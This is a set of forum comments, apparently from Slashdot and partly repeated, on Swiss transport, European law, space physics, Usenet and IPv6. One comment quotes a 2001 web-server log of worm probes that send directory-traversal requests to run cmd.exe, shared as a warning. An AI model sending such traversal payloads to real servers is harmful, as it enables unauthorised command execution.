Yes, and when aircraft first developed, people thought that in 2010 people would be flying biplanes made out of cloth flying a few hundered metres above the ground at perhaps 100 km/h at most, rather than 500 ton double-decker quadraple jet-powered aluminium behemoths travelling at 950 km/h 10 km above the Earth's surface. (See Airbus A380-800)
Cities in Europe tend to grow outwards rather than upwards, because of overly strict high limits. Only a few European cities have tall buildings like most large American cities do; London & Frankfurt am Main, Paris/La Defense. Warsaw, Istanbul and Amsterdam have high buildings too, but not as high as in the US.
High rise buildings are quite unpopular in Europe, apart from the aforementioned cities, as they are seen to 1.) encourage heavy traffic 2.) look ugly (though not all do, you might come to the same conclusion if you say the kind of concrete high rise apartment blocks get built here) 3.) not fit it, especially in cities with lots of historical buildings 4.) cast long shadows and 5.) reduce land prices.
In Zurich (where I live), we have a somewhat conservative but very effective system. On one hand we have commuter trains, mostly running on the surface ("S-Bahn"), then the city area also has trams, electric buses (they are longer than you're average bus, have a flexible section in the middle and a pantograph on top) as well as the more mundane bus types. The newer buses run on methane, so they don't pollute as much. You'd think that a city as small as Zurich (365,00 city / 991,00 metro) would have few traffic problems. You'd be wrong, since most of the streets are narrow and like most European cities, only the new areas (which is most of the city, but the central areas are all 'old') have the standard square grid layout.
Worse still, majoy freeways, mountain passes & tunnels can have riduculous traffic jams, some of which can go back more than 80 km and last for more than 9 hours. The whole system - road and rail - appears to fall to pieces after heavy snow, with delays and accidents galore (though accidents aren't too common on Swiss railways, fortunately). Most of the transalpine tunnels have had fatal accidents leading to long term closures in the past few years.
I personally hope that in fifty years time, that the West will not need oil *at all*, presuming the West will still exist then (perhaps Asia and Africa will become more prosperous?). By than we should have perfected electric cars, and we should seriously consider another fuel for aviation, perhaps H2, if we even need to use combustion engines at all. (lightcraft sound cool)
I strongly dislike the doom-and-gloom technophobists, but elimitiating emissions from cars would make living in a city much easier on the lungs. It could also be very convenient - imagine being able to recharge your batteries on the road.
OTOH, in 50 years time we might have fusion or something even more exotic (SPS?), which would enable to use just about as much power as we like without worrying too much about the consequences.
Actually, Oceania is the name of the continent (sometimes also called Australasia) which includes AU, NZ, Papua New Guinea and surrounding Pacific Islands.
As for 1984, London was the capital of Oceania, so my guess is that AU would have belonged to Eastasia, which was geographically closer than Eurasia.
Or any porno magazines, encryption... (banned there as well)
Come to think of it, you could leave out the 'subversive' Western newspapers as well, since Singapore is a 'single party system' which in other words implies that it is a dictatorship. It isn't as bad as some dictatorships, but it is still somewhat opressive.
OTOH, their utopian ideals about improving their society are often quite pathetic, (like banning gum and pornography) while others are quite disturbing (like using corporal punishment).
I believe you've slightly misinterpreted the mission's goals. The aim was (and is) to check the feasability of human exploration, not colonisation. What they are talking about here is that potential (ie. unlikely, but not yet entirely ruled out) mission to Mars around 2020. The mission involves a handfull of astronauts, and will presumably cost hundereds of billions, if not trillions, of US dollars.
NASA isn't interested in colonising Mars, they're a US goverment organisation that has to look reasonably credible in the scientific community, not just some ad hoc space colonisation advocacy organisation a la SSI.
Antimatter is matter with a reversed charged.
When matter meets antimatter, both are annihilated and energy is released (a lot of it, based on E=mc^2).
Exotic matter, which isn't generally considered possible under Newtonian physics but which might be possible under quantumn physics, is matter that has a negative mass, and negative energy density. It has the opposite gravitational effect in relation to normal matter. A body of exotic matter would repel other bodies of both exotic and normal matter, AFAIK. Exotic matter, if it could really exist, would probably spread out equally across space, since it repels, rather than attracts other matter. If it came in contact with normal matter, it would annihilate it, but, unlike antimatter, it would release no energy whatsoever.
In general, the idea of exotic matter is very appealing, because it allows:
1.) The stabilisation of Einstein-Rosen gates, allowing an effective portal to another universe, should one exist. An Einstein-Rosen gate can be created by a spinning black hole, but is extremely unstable, to a point where even a boson would cause it's collapse.
2.) Construction of wormholes. (You need a great deal of exotic matter for this one, probably more than is practically attainable, even with very advanced technology)
One design suggests a wormhole that creates it's own exotic matter, eliminating the need for it's production.
3.) Construction of 'warp drives'. Alcuberre's warp drive (do a search on Google if you want to know what that is) violates certain conditions of quantumn physics and required an absurdly large quantity of energy. However, Chris van den Broeck, suggested an alteration of the design, whereby the 'warp bubble' would be extremely small (smaller than a proton) and the starship/object to be warped would be in another bubble which a larger internal volume than it's external volume. In principle possible, perhaps, but it's not known if the idea would work in reality, especially since the author of the paper has since published another paper listing problems with his proposal.
Still, the idea is kind of interesting.
Nobody knows if exotic matter is possible at all, let alone whether it's mass production is feasible.
They may take the pivacy of their citizens seriously, but they certainly don't take the citizens' rights seriously. Especially freedom of expression, information & association.
As most USians are no doubt aware, there aren't the same rigid protection of constitutional rights in European countries as there are in the USA. Some restriction of rights are permitted, which is why a lot of laws the US civil libertarians have been in arms about, like the CDA, have already been implemented in many European countries (though perhaps not quite as bad as the CDA). In some cases, there is no court to declare a law constitutional, in other cases, there is a court, but it is politically slanted and not obliged to declare laws that tread on principle freedoms unconstitutional unless they completely violate them. For example, if a theoretical law that made ISPs block everything that the goverment told them to was passed, it'd probably be declared unconstitutional. OTOH, Australia already has one of them. Good thing I don't live there anymore. On the positive side, most of us don't have a DMCA yet, and an SSSCA is out of the question, so it's not all bad;)
More open minded?!
Say, where exactly do you live?
Last time I checked, Europeans, or at least non-English-and-non-French-speaking-Europeans were actually quite conservative.
I read some of the Austrian StGB (Strafgesetzbuch = Penal Code) yesterday, and IMO there is nothing illegal about adultery there. Polygamy and incest are illegal. OTOH, there are some very questionable laws over there.
If you can read German fluently, the Austrian StGB is available here.
The Swiss StGB is here and the German one is here.
How do you know this bill is actually going to pass? And if it does, wouldn't it be declared unconstitutional?
Does anybody know of any attempts to do this European countries?
75'000 metric tonnes of energy would be about 6750 exajoules, (6.75 * 10^21 J) enough to blow the the Earth in to pieces. On the positive side, any ETs listening in will definitely notice something, so at least the Earth wouldn't have been destroyed for nothing.
My ISP (Cablecom/Swissonline, a Swiss cable ISP) stopped carrying ALL binary groups a while ago, since they taking up too much bandwidth. AFAIK all the text ones are available including practically all of the national and supranational heirarchies - uk.* de.* fr.* it.* ch.* at.* africa.* , and some specific heirarchies, like gnu.*, as well as some commercial ones too, like microsoft.*, intel.*, corel.* . I'd guess their newsfeed is pretty large - not all of these groups are really that relevent. In fact, most of them are filled with spam, which sadly seems to have been the fate of Usenet.
Or Switzerland: (Disclaimer - IANAL) see articles 135 (wanton & grauticious violence), 273-278 (libel & slander), 197 (pornography), 261 (disturbance of freedom of belief & culture ), 261bis (racial discimination ), 296 (insulting a foreign state ), 297 (insulting a supra national organisation ) & 298 (desecration & destruction of foreign emblems) of the Swiss federal penal code, if you want to get an idea of what a bad idea the Hague treay is. And this is a supposedly free country! Other are much worse. Take Greece for example, where it is illegal to insult the president (!!!), or the Republic or Ireland, where blasphemy is illegal (!!!!!)
Notes:
Switzerland has a law that makes it illegal to publicly (this includes the 'net) display wanton violence against people or animals. It has a law that makes it illegal to offer pornography to anyone under 16 years of age (though I'm not sure just how prono is implied, 'erotica' is not in any form of special control) and which bans a) child pornography (fair enough...) b) bestiality (the images, not the actions) and c) violent porno ( which means S&M porno is out of the question. Libel & slander laws are there too, with a truth clause. (if you can prove what you said was true, you can't be punished)(it applies to dead people too, as it would appear). 261 is kind of a sensless law, but you can read it's full text if you want (see http://www.admin.ch/ch/d/sr/311_0/index2.html - Note, it's all in German). 261bis is a so-called anti-hate law, which makes illegal to incite hatred or discrimination, deny the Holocaust (bad idea...), racially insult people in a way damaging to "human dignity" (no, I don't make the laws here. Send your flames somewhere else.) I'm not sure about 296-298. You'd have to get somebody who speaks very fluent German and has experience in Swiss law. And your not likely to find them on Slashdot.
Ja, du hast es erfolgreich in Deutsch übersetzt. Schade nur, dass alle Slashdot Leser Englisch kann! (ist ja logisch, wenn man darüber nachdenkt)
(no, I didn't use Babelfish.)
Actually the problem is less the clients (once OS X, Windows 9X/ME/XP/2k, Linux, Solaris, and *BSD support it, you could more or less consider it universal. And most of the aforementioned OSes already support it or will support it soon) than it is the ISPs. It is very unlikely that your ISP is going to take the time and money to upgrade to IPv6, since it would make a potential source income - IP addresses - largely worthless. (there would be 256^16 of them, if my memory serves me correctly) Likewise, your ISP's backbone provider is also unlikely to make the leap.
I seriously doubt that.
Radio signals to Mars would take ~20 minutes either way, which, unless a method of FTL communications develops, means the physical difficulties of real-time interplanetary communications are much more significant than the tech ones. Not to mention solar flares and what you're going to do when Mars is on the other side of the Sun. (you could use a relay, of course, but the times would be even longer)
We can, however, technically use IPv4 to communicate with a theoretical moon base or a free floating colony ala 2001.
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Yes, and when aircraft first developed, people thought that in 2010 people would be flying biplanes made out of cloth flying a few hundered metres above the ground at perhaps 100 km/h at most, rather than 500 ton double-decker quadraple jet-powered aluminium behemoths travelling at 950 km/h 10 km above the Earth's surface. (See Airbus A380-800)
Cities in Europe tend to grow outwards rather than upwards, because of overly strict high limits. Only a few European cities have tall buildings like most large American cities do; London & Frankfurt am Main, Paris/La Defense. Warsaw, Istanbul and Amsterdam have high buildings too, but not as high as in the US.
High rise buildings are quite unpopular in Europe, apart from the aforementioned cities, as they are seen to 1.) encourage heavy traffic 2.) look ugly (though not all do, you might come to the same conclusion if you say the kind of concrete high rise apartment blocks get built here) 3.) not fit it, especially in cities with lots of historical buildings 4.) cast long shadows and 5.) reduce land prices.
In Zurich (where I live), we have a somewhat conservative but very effective system. On one hand we have commuter trains, mostly running on the surface ("S-Bahn"), then the city area also has trams, electric buses (they are longer than you're average bus, have a flexible section in the middle and a pantograph on top) as well as the more mundane bus types. The newer buses run on methane, so they don't pollute as much.
You'd think that a city as small as Zurich (365,00 city / 991,00 metro) would have few traffic problems. You'd be wrong, since most of the streets are narrow and like most European cities, only the new areas (which is most of the city, but the central areas are all 'old') have the standard square grid layout.
Worse still, majoy freeways, mountain passes & tunnels can have riduculous traffic jams, some of which can go back more than 80 km and last for more than 9 hours. The whole system - road and rail - appears to fall to pieces after heavy snow, with delays and accidents galore (though accidents aren't too common on Swiss railways, fortunately). Most of the transalpine tunnels have had fatal accidents leading to long term closures in the past few years.
Or more specifically French since Geneva is in the French-speaking part of Switzerland.
I personally hope that in fifty years time, that the West will not need oil *at all*, presuming the West will still exist then (perhaps Asia and Africa will become more prosperous?). By than we should have perfected electric cars, and we should seriously consider another fuel for aviation, perhaps H2, if we even need to use combustion engines at all. (lightcraft sound cool)
I strongly dislike the doom-and-gloom technophobists, but elimitiating emissions from cars would make living in a city much easier on the lungs. It could also be very convenient - imagine being able to recharge your batteries on the road.
OTOH, in 50 years time we might have fusion or something even more exotic (SPS?), which would enable to use just about as much power as we like without worrying too much about the consequences.
Don't forget 'American' English, or 'American' as it is known to the natives.
Since the main part of the API is library-based, I suppose it would be possible to write some kind of compatibility layer...
Actually, Oceania is the name of the continent (sometimes also called Australasia) which includes AU, NZ, Papua New Guinea and surrounding Pacific Islands.
As for 1984, London was the capital of Oceania, so my guess is that AU would have belonged to Eastasia, which was geographically closer than Eurasia.
Wow, I never knew that Bond had any sexually transmitted diseases.
OTOH, he never uses comdoms so it was bound to happen.
Let's blame this on Utah.
Probably for marketing reasons.
(another buzzword)
Or any porno magazines, encryption... (banned there as well)
Come to think of it, you could leave out the 'subversive' Western newspapers as well, since Singapore is a 'single party system' which in other words implies that it is a dictatorship. It isn't as bad as some dictatorships, but it is still somewhat opressive.
OTOH, their utopian ideals about improving their society are often quite pathetic, (like banning gum and pornography) while others are quite disturbing (like using corporal punishment).
I believe you've slightly misinterpreted the mission's goals. The aim was (and is) to check the feasability of human exploration, not colonisation. What they are talking about here is that potential (ie. unlikely, but not yet entirely ruled out) mission to Mars around 2020. The mission involves a handfull of astronauts, and will presumably cost hundereds of billions, if not trillions, of US dollars.
NASA isn't interested in colonising Mars, they're a US goverment organisation that has to look reasonably credible in the scientific community, not just some ad hoc space colonisation advocacy organisation a la SSI.
What about the theoretical exotic matter?
Antimatter is matter with a reversed charged.
When matter meets antimatter, both are annihilated and energy is released (a lot of it, based on E=mc^2).
Exotic matter, which isn't generally considered possible under Newtonian physics but which might be possible under quantumn physics, is matter that has a negative mass, and negative energy density. It has the opposite gravitational effect in relation to normal matter. A body of exotic matter would repel other bodies of both exotic and normal matter, AFAIK. Exotic matter, if it could really exist, would probably spread out equally across space, since it repels, rather than attracts other matter. If it came in contact with normal matter, it would annihilate it, but, unlike antimatter, it would release no energy whatsoever.
In general, the idea of exotic matter is very appealing, because it allows:
1.) The stabilisation of Einstein-Rosen gates, allowing an effective portal to another universe, should one exist. An Einstein-Rosen gate can be created by a spinning black hole, but is extremely unstable, to a point where even a boson would cause it's collapse.
2.) Construction of wormholes. (You need a great deal of exotic matter for this one, probably more than is practically attainable, even with very advanced technology)
One design suggests a wormhole that creates it's own exotic matter, eliminating the need for it's production.
3.) Construction of 'warp drives'. Alcuberre's warp drive (do a search on Google if you want to know what that is) violates certain conditions of quantumn physics and required an absurdly large quantity of energy. However, Chris van den Broeck, suggested an alteration of the design, whereby the 'warp bubble' would be extremely small (smaller than a proton) and the starship/object to be warped would be in another bubble which a larger internal volume than it's external volume. In principle possible, perhaps, but it's not known if the idea would work in reality, especially since the author of the paper has since published another paper listing problems with his proposal.
Still, the idea is kind of interesting.
Nobody knows if exotic matter is possible at all, let alone whether it's mass production is feasible.
This is from my log Apache log files... the virus appears to try a lot of exploits, all of which are Windows native. If this become widespread, expect a serious slowdown. (IP is masked for obvious reasons) xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:06 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:06 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:08 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:08 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:09 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 232 "-" "-"
xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:09 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-"
They may take the pivacy of their citizens seriously, but they certainly don't take the citizens' rights seriously. Especially freedom of expression, information & association. As most USians are no doubt aware, there aren't the same rigid protection of constitutional rights in European countries as there are in the USA. Some restriction of rights are permitted, which is why a lot of laws the US civil libertarians have been in arms about, like the CDA, have already been implemented in many European countries (though perhaps not quite as bad as the CDA). In some cases, there is no court to declare a law constitutional, in other cases, there is a court, but it is politically slanted and not obliged to declare laws that tread on principle freedoms unconstitutional unless they completely violate them. For example, if a theoretical law that made ISPs block everything that the goverment told them to was passed, it'd probably be declared unconstitutional. OTOH, Australia already has one of them. Good thing I don't live there anymore. ;)
On the positive side, most of us don't have a DMCA yet, and an SSSCA is out of the question, so it's not all bad
More open minded?!
Say, where exactly do you live?
Last time I checked, Europeans, or at least non-English-and-non-French-speaking-Europeans were actually quite conservative.
Which society?
Do you know that blasphemy is illegal in the republic of Ireland?
If that's not puritanical, I don't know what is...
I read some of the Austrian StGB (Strafgesetzbuch = Penal Code) yesterday, and IMO there is nothing illegal about adultery there. Polygamy and incest are illegal. OTOH, there are some very questionable laws over there.
If you can read German fluently, the Austrian StGB is available here. The Swiss StGB is here and the German one is here.
How do you know this bill is actually going to pass? And if it does, wouldn't it be declared unconstitutional? Does anybody know of any attempts to do this European countries?
75'000 metric tonnes of energy would be about 6750 exajoules, (6.75 * 10^21 J) enough to blow the the Earth in to pieces. On the positive side, any ETs listening in will definitely notice something, so at least the Earth wouldn't have been destroyed for nothing.
My ISP (Cablecom/Swissonline, a Swiss cable ISP) stopped carrying ALL binary groups a while ago, since they taking up too much bandwidth. AFAIK all the text ones are available including practically all of the national and supranational heirarchies - uk.* de.* fr.* it.* ch.* at.* africa.* , and some specific heirarchies, like gnu.*, as well as some commercial ones too, like microsoft.*, intel.*, corel.* . I'd guess their newsfeed is pretty large - not all of these groups are really that relevent. In fact, most of them are filled with spam, which sadly seems to have been the fate of Usenet.
Germany, I believe, has already talked about national blocks - not just on IPs, but on sbunet and even ports!
Or Switzerland: (Disclaimer - IANAL) see articles 135 (wanton & grauticious violence), 273-278 (libel & slander), 197 (pornography), 261 (disturbance of freedom of belief & culture ), 261bis (racial discimination ), 296 (insulting a foreign state ), 297 (insulting a supra national organisation ) & 298 (desecration & destruction of foreign emblems) of the Swiss federal penal code, if you want to get an idea of what a bad idea the Hague treay is. And this is a supposedly free country! Other are much worse. Take Greece for example, where it is illegal to insult the president (!!!), or the Republic or Ireland, where blasphemy is illegal (!!!!!)
Notes:
Switzerland has a law that makes it illegal to publicly (this includes the 'net) display wanton violence against people or animals. It has a law that makes it illegal to offer pornography to anyone under 16 years of age (though I'm not sure just how prono is implied, 'erotica' is not in any form of special control) and which bans a) child pornography (fair enough...) b) bestiality (the images, not the actions) and c) violent porno ( which means S&M porno is out of the question. Libel & slander laws are there too, with a truth clause. (if you can prove what you said was true, you can't be punished)(it applies to dead people too, as it would appear). 261 is kind of a sensless law, but you can read it's full text if you want (see http://www.admin.ch/ch/d/sr/311_0/index2.html - Note, it's all in German). 261bis is a so-called anti-hate law, which makes illegal to incite hatred or discrimination, deny the Holocaust (bad idea...), racially insult people in a way damaging to "human dignity" (no, I don't make the laws here. Send your flames somewhere else.) I'm not sure about 296-298. You'd have to get somebody who speaks very fluent German and has experience in Swiss law. And your not likely to find them on Slashdot.
Ja, du hast es erfolgreich in Deutsch übersetzt. Schade nur, dass alle Slashdot Leser Englisch kann! (ist ja logisch, wenn man darüber nachdenkt) (no, I didn't use Babelfish.)
Actually the problem is less the clients (once OS X, Windows 9X/ME/XP/2k, Linux, Solaris, and *BSD support it, you could more or less consider it universal. And most of the aforementioned OSes already support it or will support it soon) than it is the ISPs. It is very unlikely that your ISP is going to take the time and money to upgrade to IPv6, since it would make a potential source income - IP addresses - largely worthless. (there would be 256^16 of them, if my memory serves me correctly) Likewise, your ISP's backbone provider is also unlikely to make the leap.
I seriously doubt that. Radio signals to Mars would take ~20 minutes either way, which, unless a method of FTL communications develops, means the physical difficulties of real-time interplanetary communications are much more significant than the tech ones. Not to mention solar flares and what you're going to do when Mars is on the other side of the Sun. (you could use a relay, of course, but the times would be even longer) We can, however, technically use IPv4 to communicate with a theoretical moon base or a free floating colony ala 2001.